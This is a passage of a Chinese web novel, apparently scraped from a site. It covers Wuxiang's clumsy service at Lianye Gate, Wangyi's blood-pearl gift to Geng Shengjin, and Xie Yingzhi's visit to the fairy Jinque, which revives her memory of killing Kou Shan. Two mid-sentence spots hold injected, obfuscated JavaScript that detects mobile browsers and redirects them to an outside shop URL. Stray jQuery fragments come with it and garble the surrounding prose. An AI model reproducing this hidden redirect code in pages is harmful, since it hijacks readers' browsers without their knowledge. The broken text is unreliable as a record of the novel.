芜香满腔热血地去,再次现身时,她两只袖子撸得高高,走路甚是无力。仿佛再慢一步没挨到凳子,人就要瘫倒在地。 谢盈芝路过,扶住她。妄一虽不语,但也猜到她大概把阿辞积攒的陈年老垢都给铲干净了。 芜香道:“我待了一天才干了小半的活儿,天要黑了,我先回来,明天还得再去过!”尽管身体乏累无比,她眼中闪烁着异样的成就感。 阿辞的住处,东西堆得满满当当,他又是个疏于打理的,导致边边角角结了好几处蜘蛛网。一进屋子,芜香仿佛找到了用武之地。 谢盈芝还说:“阿辞哥知道你帮他打扫干净,定会好好感激你。” 芜香腼腆一笑,然而人得了褒奖,最忌讳的就是得意忘形。尤其芜香不属聪慧一类,若不留心便容易犯错。 因凌延卿在南路狱“流连忘返”,莲烨门没人做饭。妄一时常发出感叹:瓶中果丸虽常备,但吃惯了现炒现做的菜,再回头啃果丸,不免索然无味。 于是后来,凌师傅尤为辛苦,既要管教犯人,还不忘做好菜肴。到点了,芜香自会提着食盒来回跑腿。 本是个小差事,可某日她看错了时辰,回过神来时已是火烧眉毛。她一路飞奔去监狱,着急赶路,疏忽廊下的台阶,几步摇晃,食盒“哐当”一声落了地,吓得她小脸煞白。 如此一来,便耽搁大人用饭。 妄一背着手等了许久,终于见着人,却是哭哭啼啼的。 问芜香让谁欺负了? 她难过了半天,才抽抽搭搭说食盒摔了。 妄一松了口气,还以为是天大的事。他拿过食盒打开,里面共三层,因没有完全隔开,最上层的汤水渗进了下层的菜肴,好在没有瓷器碰碎。 芜香觉得自己完了,天要塌下来了,大人本就不愿收容她,定会被狠狠责罚。 待她哭完能顺气了,偷瞄一眼,大人却已心平气和地盛了饭,顺便还带上她那份。 芜香呜咽着声儿,妄一全无怪罪之意,只问:“伤心完了吗?伤心完了就快点吃饭吧,有些凉了。” “......可是我不小心.......让它们全都串了味啊!大人,您不责罚我吗?”芜香眼泪汪汪,从前的境遇使她性格过于敏感,即便得到宽恕,她都要反复进行确认。 “唉,我不责罚你,你就过意不去了?”妄一无奈道,“串味怎么了?食材珍贵,不要浪费。” 他这般大度,无非考虑到芜香性子软弱,一起用膳时也总捡边边角角的吃,生怕夹多一点要被撵出去,由此可见她人在这儿,没有丝毫安全感。 谢盈芝更是安慰她道:“菜虽有些串味,但吃到肚里都一样。” 芜香紧攥双手,点了点头,心绪一点点平复下来。 妄一盯着碗里的饭,不由愣住了神,反复回想着那句话——吃到肚里都一样...... “大人怎么了?”盈芝姑娘看出他的异样。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17348164|193354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>妄一双眼澄澈,似是醍醐灌顶,连饭都顾不上吃了,扔下碗筷便回房,剩下另外两人摸不着头脑。 耿胜金上次来信,妄一还在为侍灵珠的事一筹莫展。今天芜香的一回粗心,倒是点醒了他。 笔墨放在跟前,他当即取来狂草一封送出殿去,约耿班主明日相见。 耿胜金是出色的伶人,自得了《仙音法序》,便常在练功房里抚琴琢磨。弹奏几回仍觉得缺少神韵,埋头苦思也不知是哪儿不得要领。 那封信送到时,他有戒备,但还是去了。 约定之地依旧在半山亭,与上回不同的是,这次耿班主堂堂正正站在亭下等人。 “你说有要事找我,还必须当面会谈。我现在站在你面前了,说吧,什么事?”他开门见山,早点说完,也能继续去钻研谱子。 他的态度未比之前友善多少,想他本就是这样的人,妄一也不拖沓,弯腰拔出靴子里藏着的匕首。 刺目的刀片晃过耿胜金的眼,惊得人后退一步,他双眸涌现出冷意,猜想红衣毛贼要反悔了。树丛里赶忙“唰唰”冒出数名持刀大汉,谨慎地围住亭子。 妄一眼都未抬,卷了一截袖子,手执匕首,毫不犹豫地朝自己手腕上方划去。 白刃与皮肉相碰的瞬间,鲜血流淌而出。 耿胜金惊异不已,暗想此人是想通过自残的方式来拿捏他吗?这听上去也太蠢了! 妄一没急着辩解,鲜血从手臂处滑落,他任凭它流下。 血液断断续续如雨珠,神奇的是它们并未掉落在地,而是汇聚到一起,在空中形成一颗红色血珠。 待尽数成型后,妄一收了手,将赤红的珠子隔空推至耿胜金面前。 “收下吧,我不知道它功效如何,但再不济也融合了珠子的灵力,你拿去试试吧。” 这方法是妄一从芜香颠倒食盒中得来的灵感,当时菜搅和在一块儿,但它仍然是菜。好比侍灵珠和妄一的血融合在一块儿,也不该失去所谓的灵力,顶多比之前弱罢了。 在找到真正能取珠的方法前,他暂且用血珠为替代。 “我没想坏你事,但做了就是做了,我不找借口。仅牺牲我一点儿血,若能对你的秘术有用,也不算我白受你的好处。”妄一淡定擦干净匕首上的血渍。 耿胜金挥了挥手,那群持刀人又退回阴暗地。红衣毛贼是破坏秘术的源头,自那天起,他再不能变回塞依。杏花楼因此关门许久,班子里的人也该走的走,该留的留。 难为红衣毛贼帮他想了这办法,血珠近在眼前,让他说谢吧,这不是他让人家割的,不说谢吧,好像哪里又不对。 “怎么?班主不收是怕我在血里动手脚?”妄一作势要将东西收回。 “谁说不要?”耿胜金拦住他,不再矫情,直接将血珠收入囊中,“虽是你欠我在先,但再过几日,我或许还有消息送你。” 妄一略微点头,血珠相替是否有用,他不清楚。但这个做法,却意外地将耿胜金对他的防备线降低一寸。 62. 独请盈芝面尊客 与此同时,芜香以将阿辞的住处收拾得七七八八,余下些收尾小活,打算留到次日再做。 芜香暗喜忙碌真好啊,好到能让她全身心投入,忘却其余烦恼。虽然她做对做错,大人几乎不过问,但她知道自己的处境,一举一动都需稳当。 要说近来与她关系最好的,应属对门的盈芝姑娘,二人常有话聊。 玉芙楼的店面比起初扩大不少,东家又招了人手,让他们都跟在盈芝姑娘身边,多多观摩,多多参照。 谢盈芝没有拒绝,她明白老板娘精打细算,无非是希望新人偷学本事制衡她,防止谢盈芝“恃宠而骄”。 可是老板娘太自信了,如果这些东西能轻易被人学走,她当年还当什么花魁? 尽管那些伙计一步不离地紧盯她,看至眼酸,但也学不到该有的精华。唯有一个机灵些的,把女客们的妆造一一画成册,供等候的客人翻阅挑选。 谢盈芝能轻松复制妆容,但千人千面,在复刻时得稍作调整,力求贴合客人气质。 她如此细心周全,随着踩烂门槛的客流量日益渐增,谢盈芝也明白若所有人都需她亲自动手,那自己真的离劳碌而亡不远了。 于是,她想通了,在某天主动教出去一些技艺。虽是简单的样式,但她严格认真不愿敷衍,徒弟们只有达到她的要求,才允许独立接应客人。 也多亏她的较真,使得以后很长一段日子,保住玉芙楼在这一行的龙头位置。 楼里挂有一本簿子,谢盈芝每日早到的第一件事便是翻看上面记录的排期。 她的女客队伍排得太长了,约期已从上旬排到下旬。期间还有好几户嫁娶,选的同一天黄道吉日,届时她画完这一位,就得赶忙跑下一家。 她为玉芙楼创造前所未有的收益,老板娘整日笑逐颜开,今天尤其是,笑得两道眼角堆起了淡淡的褶。她夺下谢盈芝正在查看的簿子,亲切道:“盈芝啊,你今儿不用留在店里,有位贵客听闻咱们的名声,特意请你上门。只要把那位伺候好了,其他的你不用管。”说罢,便使唤伙计收拾好妆匣,不由分说将盈芝推出了门,“早些去,千万别让人久等!” 没等谢盈芝反应过来,她就被请上了轿子。究竟是谁家的阔绰之人,能让老板娘心甘情愿推掉她一天的安排? 未等她想出个名堂,轿子就行至一座陌生的宅邸前,有一使女引她入内。 宅邸内仙气萦绕,朗庭宽广,这个季节竟还有紫藤花垂落在院,盛大且繁华,似有似无的清香拥抱路过的人。 等走到府里的某处幽深小院,她便见主屋里有一道纤细身影,那人随和地坐在窗前,指尖把玩着一枚玉佩坠子。 谢盈芝不敢怠慢,知这是主人家,忙放下随身妆匣,矮身行礼。 这个角度,她的余光能瞥见尊客清雅的裙摆,绸缎之柔滑,藏了一双修长的腿。 锦阕仙子注视着半蹲的姑娘,此人未着亮丽衣裳,但一身素衣浆洗得干净,垂眸时长睫纤纤,与画中美人无二差别。 “免礼吧,谢娘子。” 谢盈芝感受到上方的打量,她也不扭捏,起来后,利落地将店里的画册取出,请对方挑选样式。 锦阕却摆了摆手,说此事不急,玉芙楼距此颇远,娘子来时一定匆忙,还是先让使女上茶,歇息片刻罢。 这是主人家的好意,谢盈芝就算不累也要承这份情。但在等茶水的过程中,尊客既不看画册,也不再多说一句话。仿佛花了钱,却对货物毫不关心,连基本的询问也没有,或者是......她太相信玉芙楼娘子的手艺? 但愿如此吧,谢盈芝记得请她上门的价格一点儿也不低。 院外的画眉鸟叫打破沉寂,锦阕仙子放下玉佩,终是找个话头:“娘子是哪里人,又师出何门?我来此地无多时,香粉口脂是女子喜爱之物,娘子年纪轻轻,名声突然大噪,不免有些好奇。” 谢盈芝谦和一笑,礼貌回道:“您抬举了,盈芝自幼在这里长大,有幸观摩过许多娘子绘妆挽发,眼睛看多了,手便学会了,后离开数年回来就在店里做事,勉强能立足罢了。”她谦谈吐自若,从容不迫。这份说辞她对每个问她来处的客人,已用了千万遍。 聊天有了开头,后面的也就好说了。仙子问她一天的忙碌程度,以及累了可有休息的时候? 谢盈芝一一作答,心里则想那些奉茶的女做什么去了还不回来?她不倾向于闲谈,也不想浪费客人时间,由衷希望能尽快完成尊客心仪的妆容,自己好早些回去。 她将一页画着“月娥妆”的册子递到仙子跟前,开门见山道:“不知您喜欢什么妆容?您五官柔美,册中多数妆式都是合适的。让我来选的话,这款月娥妆与您最为相配。” 月娥妆以淡雅为主,却不是一眼的清汤寡水。此妆最出彩的会是眉心将用特殊的颜料画上新月之花,如遇光影,与眼部妆面十分相称。 她将随身带来的小木箱放到桌上,里面是各种颜色,各种香味的用料。由于种类太多,每样只取一勺,装在特制的多格盒子里。 她想,万一对方不喜欢不愿选既定的妆式,她也可直接选色,现场创作。以她的实力,一切尽在掌控中。 锦阕仙子目光恬静,说道:“我在府中不爱出门,娘子莫怪我多心,我想同你多聊两句,是否浪费你的光阴?” 这话让谢盈芝心头一紧,连忙回复:“您言重了,您聘请我是看得起我。现下天色尚早,盈芝是想着您打扮整齐也好外出,莫辜负游玩日光。” 锦阕仙子竟是轻轻一笑。 “我不出去,我请你来,还有另外的事。” “您说。” “我想见识娘子的手艺,也想从你口中听闻莲烨门的事。” 谢盈芝表情微僵,她不介意闲谈,可旁人顶多知晓她在苍鸯殿,这位尊客如何得知莲烨门?难道是摸清了她的底细? 谢盈芝如临大敌的模样映入锦阕眼中。她语气温柔道:“不必紧张,我相信娘子的眼光,妆面你定就好。我问莲烨门,只因我的使女在那儿,我不便过去看她,想从你这儿问问她过得怎样?” “哦,您就是芜香常挂在口中的仙子。”谢盈芝一脸恍然。 托芜香的日常唠叨,她对这位仙子并不陌生。小姑娘总挂念她的恩人,感谢仙子的知遇之恩。 锦阙叹道:“不瞒娘子,芜香待在我身边并不开心,也不肯告知我,她有什么难处。” “仙子莫要多想。”谢盈芝开解道,“芜香性情温和天真,您待她宽厚仁慈,她忧愁只是因为不晓得如何报答。” 锦阙推手道:“我可不要什么报答,更不想她有什么压力。只是见她在我身边鲜少有笑意,她在苍鸯殿长大,回到那儿应该会自在些。” 谢盈芝趁势回道:“仙子尽可放心,芜香乖巧,莲烨掌门性情也随和,即便是寻常小娥,大人他也不会刁难。” 闻言,锦阙神情放松,笑道:“那就好。” 二人因芜香的事相谈甚欢,气氛有所缓和,使女在此时端着茶盘徐徐走来,轻轻提起紫砂壶的手柄,往杯盏倒茶。此杯用料特殊,滚烫的茶汤竟瞬间降温至适口。 “娘子莫怪她们沏茶太晚,这是我来京中最喜爱的茶饮,入口酸咸还有回味,能涨食欲,又能缓解焦躁的心情。好茶得用好水相伴,为煮沸它才花了些时间。” 作为主人,锦阙先品了一口。盈芝姑娘将茶杯端在手里,看着水面微微出神。 此茶取鲜活泉水与秘制茶包煮沸,去渣留水后,再放入两三枚腌制得体的梅干。茶水的颜色和淡淡的香气飘散开来,渐渐与她记忆里的某种事物重合。 这并非寻常梅子和普通工艺就能制成的,浅尝一口,谢盈芝脱口而出道:“敢问仙子,这可是甘草梅果茶?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17362263|193354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 锦阕讶异一瞬,称赞道:“真是好眼力,娘子以前喝过吗?” 谢盈芝不太自然地说:“是很多年前的事了,久得快忘了。”没想到今时今日能在仙子这儿再遇。 “好茶若是无人共饮,那也少了大半的乐趣。说来我曾差点与它错过,在此之前,我最爱的茶饮是‘碧雨青竹’。”仙子的手指在杯沿上划过,倏尔展颜一笑,“但我和你不一样,我不称它‘甘草梅果茶’,而是叫为‘佳人茶’。” “这是何故?”以谢盈芝的认知,论外观,甘草梅果茶比琉璃盏的花茶都逊色些,怎担得起“佳人”二字? 锦阕仙子轻手将一侧的茶盖掩上,缓缓道出原由:“我头一次知道此茶并不是因为来了鬼京,而是因为某个人。” 某个人......那会是谁?谢盈芝做出愿闻其详的神情。 “那人当年有求于我姐姐,亲自登门送茶,称其曾获得城中一位顶级佳人的芳心,故而得名‘佳人茶’。我姐姐不愿与那人有所牵扯,就没有收下。原本我错过也罢了,可尘芳仙君一片好意,阴差阳错地送给我,才使我发现了这枚‘茶中黄金’。说起来,那个人已不在这世上了。他被天庭派去地府当差,在鬼京应也有所交涉。谢姑娘不知有没有听过他的名号呢?我想想,他好像......是叫‘寇善’来着。” “......寇善?!”谢盈芝听闻此名,手中的茶杯一再捏紧,意识到自己有所失态,忙错开眼神平复心情。 “谢娘子?” 锦阕瞥见她的异样,侧头看了眼使女,使女得到示意,弯了弯腰,识趣退下。 “那人是你的旧相识吗?”仙子追问,“我以为鬼京那么多人,两个人碰面的机会非常渺茫。” 谢盈芝低下头,无力地笑了笑。那个曾经肯为她一笑掷千金的男人,愿为她奉上华贵珠宝的男人,她根本不想记得! 这下,不用旁人多加解释,谢盈芝就明白了佳人茶的来源。这曾是夜游楼的独门果茶,也是她最爱的饮品之一,要不是楼已去,人皆散,秘方估计都难流传出来。 而寇善......则是花魁娘子一众恩客里,最有地位的那个。 很少有人能从心底的黑暗爬出来,时过境迁,“寇善”这个名字还如法咒,如绳索,死死地勒住谢盈芝的脖子,逼迫她想起那段妄图丢弃的记忆。 她猛地起身,桌上茶杯倾斜,不小心打湿了桌,她抱歉道:“仙子,请原谅盈芝失礼......身体有些抱恙,我想出去透透气。” 锦阕瞧她脸色痛苦,关心地问:“娘子这是怎么了?我可有说错什么,惹得你伤情?” “没,没有,我缓过劲就好,让您见笑了。”她努力维持住从容的姿态,回到正事上,“仙子,我稍作休息,就能为您上妆了。” 她的双颊几乎没了血色,锦阕仙子怎好为难她,宽和道:“梳妆一事只为好奇,你既不舒服,今日便算了,待下次有机会,我再欣赏也不迟。”为使其安心,她还主动询问谢盈芝,带来的画册可否送与她。 “仙子请随意,无论是我,还是画册,都是为您而来。今日是我辜负仙子的期待,下次若有机会,再仔细为您梳妆。”谢盈芝诚恳道。 锦阕仙子再说几句客气话,才喊外头的使女送客离去。 谢盈芝将要踏出院门,仙子想到了什么,又朝那背影喊道:“等娘子下次空闲了,我能否去莲烨门寻你?” 谢盈芝身形微愣,在使女的搀扶下,轻轻颔首算是应下。 庭中有风拂过,带来一片紫藤花瓣,落在锦阕眼前。 谢盈芝步伐沉重地离去,望着再次空寂的院门,锦阕唤来身边人,低声道:“你去打探打探,寇善与她有什么关系?” 谢盈芝神秘,仙子只知她曾是夜游楼花魁,至于喝梅果茶会提到那位故人,完全是歪打正着。不知他们会有什么过往,竟这般耐人寻味。 63. 夜游花魁忆往昔 谢盈芝心神恍惚地回了莲烨门。一路行来,她强压着翻涌的情绪,脸色虽没那么难看,可愁眉不展的模样,仍让芜香一阵焦灼。 “盈芝姐,是店里出什么事了吗?” 谢盈芝头也没抬,把门一关,将所有关切与窥探都隔绝在外。 妄一正在窗前翻书,被西屋的关门声所惊扰,抬头与芜香对上视线,便道:“随她吧,你管自己忙去。” 盈芝姑娘此举,本就为了不想让人打扰。 芜香嘴上应着,可平时多受谢盈芝的照拂,她又怎敢真的置之不理?她道盈芝姐今日一定是遇上了极难缠的客人。 打着关心的名义,芜香刻意压低声音,几次贴墙在外面听,可惜毫不例外是一片沉寂 直至夕阳西下,月上三竿,盈芝姑娘依旧闭门不出。 究竟发生什么事了? 芜香站在院中,频频张望,想起谢盈芝回来时满脸苦涩,一个可怕的念头突然闪过脑海。 这一刻,她不管大人的叮嘱,梗着脖子就闯门直入。 屋里鲜花依旧,突然进来的人,没能惊起谢盈芝半分波澜,她谁也不理,眼神放空。 芜香松了口气,还好姐姐没做傻事,也没有拉下脸来将人赶出去。她大着胆子上前,厚着脸皮问姐姐饿不饿?人是铁饭是钢,别为了没必要的事惩罚自己。 谢盈芝毫无反应,愣愣地看着桌上那堆杂乱的手稿。她本想借专心绘图,来甩掉那些缠人的烦恼。可她心乱如麻,纸上的花钿涂涂改改,画到最后竟是越来越气恼。 她曾豪言壮志要忘记过去,她曾满怀希望要迎接明日。别人一句无意提起,那些激励自己的话语却转瞬成空,似在笑她信口开河,也在笑她自以为是。 寇善啊寇善,究竟什么时候才能放过她? 有些东西就像是扎根了一样,拔了上面的,还有埋在地下的,除都除不尽。 芜香受不了沉闷的气氛,见窗户紧闭,她擅自过去打开一扇,让新鲜的空气吹进来。 温柔的风吹在盈芝姑娘的脸庞,像是无声的亲吻与拥抱。 桌上干涸的毛笔滚落在地,许久,谢盈芝抬起脸,声音落寞得像飘在风里:“芜香,我真羡慕你,干干净净。” 芜香听得不知所措,更不知该如何安慰,只觉得姐姐说的这话,莫名让人心酸。 她把桌上摊着的宣纸收拾到边上,把饭端来。她这般尽心照料,除却盈芝姐待她友善,还有一部分原因是奉了仙子之命,让她在莲烨门暗中留意,特别是盈芝姑娘和凌相公的动静。 通过这几日的相处,芜香觉得仙子白担心了,他们根本无甚交集,凌师傅还总待在外面,她都只见过几回。 她曾想,仙子既对凌相公有意,不如自己在凌相公面前多提提仙子的好。听多了美言,定能生出好感,但这个念头刚起,马上又被她压下。 芜香的自知之明在这一刻发挥极大的作用,她明白自己嘴笨,万一弄巧成拙,对仙子恩将仇报就完了。仙子特地告诫过她的,只需按时传消息回去,其他多余的事一概勿做。 如此看来,锦阕也明白想让芜香在莲烨门步步为营,只会漏洞百出,还是安安稳稳当一双眼睛吧。 “你出去吧,我想静一静。” 谢盈芝目光冷静,如同深渊。芜香纵然担忧,却说不出一个“不”字。 盈芝姑娘终究愁思难解,关押在狱的岁月里,她回想过以前的日子。那时的她,风光无限,若逢游街便是万人空巷。但从杀了寇善那一刻起,她就做好了万劫不复的准备。 那是个怎样的人?目空一切,自命不凡。她与他本是风月场上的露水情缘,寇善却强求一颗花魁的真心,他要霸占她所有的情爱。 行凶的那晚,也像今夜微风和润。 抚安河游舫,寇善枕在她的膝上,借着微醺的醉意,女人的馨香,他说等事情办妥,要带她走。 盈芝姑娘没把他当回事,只应付地笑了笑。 寇善怒了,猛地要想去偷吻她,她却下意识地推开他。放在以前,她这副身躯任谁触碰都无所谓,但后来有了心,有了情,等察觉到此举不妥后,已经太迟了。 寇善此人,表面对她百般纵容,骨子里却狠辣至极。 湖面上的碎光折射到他半张脸上,盈芝姑娘听他凶狠道:“今晚你留下,明天我去给你赎身,至于你那情郎,不管是真的也好,假的也罢,痴心妄想就剁他一条腿以示惩戒!”说完,他就拖着人往游舫内侧的小榻走去。 谢盈芝目光呆滞,她知道他的能耐,说了要人一条腿,挖地三尺都要找出来。 可是欺辱她就算了,何苦还要牵累别人呢? 舫内烛火暗去,寇善撕开她的外衫,色字头上一把刀,他被美色冲昏了头,没察觉姑娘在黑暗中渐渐露出两道尖牙。 寇善光着膀子,脖子上的疼痛让他倒抽一口冷气。伸手一摸,黏糊糊的分不清是毒液还是血液。 他扬起手给榻上的人一巴掌,打得谢盈芝头晕目眩,她擦去嘴角的血渍,笑盈盈地看着男人慌慌张张拾起衣物向外走去。 没用的,他哪儿都去不了。虽是第一次咬人,但她很清楚毒效。 那一晚,她死过一次,她不止杀了寇善,还杀了那个想弃贱从良的花楼女子。 夜里,凌延卿从外面归来,一进莲烨门就察觉到气氛不同寻常。西屋两个房间各自点着灯,按往日的惯例,这个时候盈芝姑娘应该拉着芜香一起舞操,说有美体塑形之用。这会儿各干各的,不在一处,难道是起争执了? 妄一摇头叹息:“我早明白她不会轻易释怀过去,有些伤口即使长好了,留下的疤也会提醒她,曾经发生过的事。” “曾经发生的事......大人是指当年的那桩案子?”凌延卿看过案宗,有个疑点他一直没说。 案宗记载,谢盈芝是在是在某夜游舫上,杀死了寇善。寇善是那段时间最捧她的恩客,但根据伤口判断,盈芝姑娘是下定决心要他断气。 妄一道:“有什么好奇怪的?她杀的本就不是个好东西,死了罪有应得,就是死太早了,倘若再拖几日,她就不必坐牢了。” 凌延卿有些不解,这句话拆开来说他能理解,合在一起好像听不明白了。 妄一想解释,可转念一想,当年这件事是保密处理的,他身为掌门不能以身犯法。再想想,凌延卿自己都看过案宗了,就是方法不太光明。 念及凌部下不是个大嘴巴,妄一思虑片刻,终是开口:“花魁纵然生于花丛,却也有她的七情六欲。” 二十年前,寇善刚从天庭下来,被调任到地府,在鬼京溜达几圈,与苍鸯殿的一些掌门也有过来往。 他初到鬼京,好比生活在王城的人,被迫降临到乡野之地,看谁都是土包子。几位掌门又不是没见过世面,给他点面子,他就装起来了。但他运气尚可,耀武扬威进出过苍鸯殿几次,从没显摆到妄一脸上,否则他最好睁一只眼睡觉。 妄一真正知晓此人,其实也不是通过盈芝姑娘,而是源于一桩剖龟取物的血案,发生在天高皇帝远的人间。 那是一个坐落在群山间的村庄,靠近村口的地方有条泥沙河,河里住着只百年神龟。 这只神龟并非从小生活于此,村里的老人说,它好像是从别的河流迁徙过来的,因救过几个落水村民,被当地人尊崇为镇河神灵。 然而寇善不知哪儿得来的消息,说这神龟身怀奇宝,若能夺过来向真君献上,调回天庭就指日可待。 有了主意,他浑身都是干劲,于一个夜黑风高的晚上,摸索到村庄。 神龟藏匿河底,他假装成落水村民,扑腾一会儿,果然引它现身。载行的过程中,趁其不备,寇善手起刀落划破神龟的喉咙,喷涌而出的鲜血将浑浊的河流染成暗红。 那只龟甚至还不清楚发生了什么,将死之前都不忘把“落水者”驮到岸边。 它在河里潜心修炼,积德积福不图回报,却不想有朝一日,要为自己的善意付出性命。它再没力气回到河底,气尚未绝时就见那人拿着匕首在剥它的壳,一边剥,一边埋怨它背壳坚硬,不如别的动物能直接剖肠剖肚。为取腹中之物,他只能忍忍辛苦。 神龟无法动弹,眼睁睁看着自己被残害,涓涓鲜血汇成小渠流入河里。 寇善在一堆碎肉和内脏里,终于找到他想要的东西。离去时,他将神龟的尸体就地焚灭,以为此事天衣无缝。殊不知翌日一早,外出劳作的村民看见暗红的河流,不必明说,都知道发生何事。 那三天,家家户户不约而同到河边祭拜神龟,为它守灵。正巧被路过的神仙看见了,便追查起来。 寇善不知事有败露,活得依旧潇洒,可惜怀揣宝物连登数次天门,总也见不到那位大人。索性宝物在手,重返天庭是迟早的事,他不急一时。 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“寇善那厮屠害生灵,杀的还是一只有功德的神龟。所以我说盈芝姑娘若再忍耐几天,她兴许就不会受到牵连,可是世事难料......”妄一很少替别人感到不值。 灯台上的蜡烛将要燃尽,凌延卿微微皱着眉,似在深思。 妄一敲了两下桌子,郑重告诫他就当半夜听了个故事,不要外传,如有再深的疑问,都只能自个儿心里琢磨。尤其是寇善,高低都是仙官的来头,把他滥杀无辜的事抖露出去,据说会有损天界风评。 凌延卿回过神,点点头,说:“我听大人的。” 西屋安安静静,谢盈芝非一蹶不振之人,她阴郁来得快,去得也快。自我冷静一晚,她清空杂念,第二日就能正常起居。 生活还是要继续,她走出屋子,悲伤的影子仿佛一去不复返。 芜香观察她片刻,念她昨晚没吃几口饭,今早给她碗里多添了些粥。盛满了不够,又拿锅铲压了压,一不小心,碗被压破了。 她惊讶地看着碎片,还好没伤到手,但新的一天才刚开始,她怎么又坏事了...... “怎么了?”妄一看她僵住的背影,不由询问。 “没,没怎么。”芜香默默把碎碗收拾掉,重新盛了一碗,这次她没敢压,但总觉得方才那一下是不祥之兆。 盈芝姑娘接过她递来的碗,轻声向她道谢。 芜香腼腆地说:“小事而已。” 白粥软糯清香,可谢盈芝喝了几口就喝不下了。她素来爱惜容颜,此刻却看着憔悴许多,大概是没睡好的缘故,眼泡泛肿,她转头去拧冷汗巾来敷。直到肿胀稍稍消退,她才提着篮子出门。 芜香留下来,日常收拾桌子、打理灶头。从这道门看去,她能看到大人在院里打拳。 但她的心思仍在那只破碗上,右眼皮也时不时跳动两下。此等顾虑看似荒谬,却有她自个儿的理,因她从来都是好的不灵,坏的灵,办砸的事多了,身体都学会了预判。 由于走神,大人在院子里喊她好几遍,她都没听见。再过一会儿,她猛然发现近前站了个人。 “大、大人您找我吗?”芜香放下抹布,紧张道。 妄一神色复杂,想这丫头又犯什么事了?难道是情绪有传染力,昨儿盈芝姑娘心情不好,今天轮到芜香了。 他没问原因,只将手指向胡菜地,说道:“芜香,这块菜地有劳你帮忙照看,但你有没有觉得,今天的水似乎浇得格外多?” “啊?多了吗?”芜香踉跄地走过去,扶在门框上相看。她记得自己浇的一直是这个量啊,怎么会多了呢?难不成自己稀里糊涂的,早上浇了两回? 她懊恼地举拳捶了下脑袋,冲大人说:“我这就过去翻土!” 妄一眉毛轻挑,他从没过问这块菜地,但凌部下对此十分在意,回来看见被淹了,多少说不过去。 他看芜香慌慌张张的,也有些不放心,于是开口说道:“忙完就回屋歇会儿吧,你累了别硬撑。” 芜香心里十分愧疚,给人添麻烦的滋味真不好受。她一边翻土,一边应了大人的话,她不是倔驴,自己心神不宁的,确实别勉强了,最重要的是,右边的眼皮到现在还跳不停。 这份不安并没折磨人太久,她刚翻好土,阿辞就从外面飞奔进正屋,分不清脸上是水是泪,如见妄一,仿佛见神佛显世,跪下大喊:“大人!你要为我做主啊!”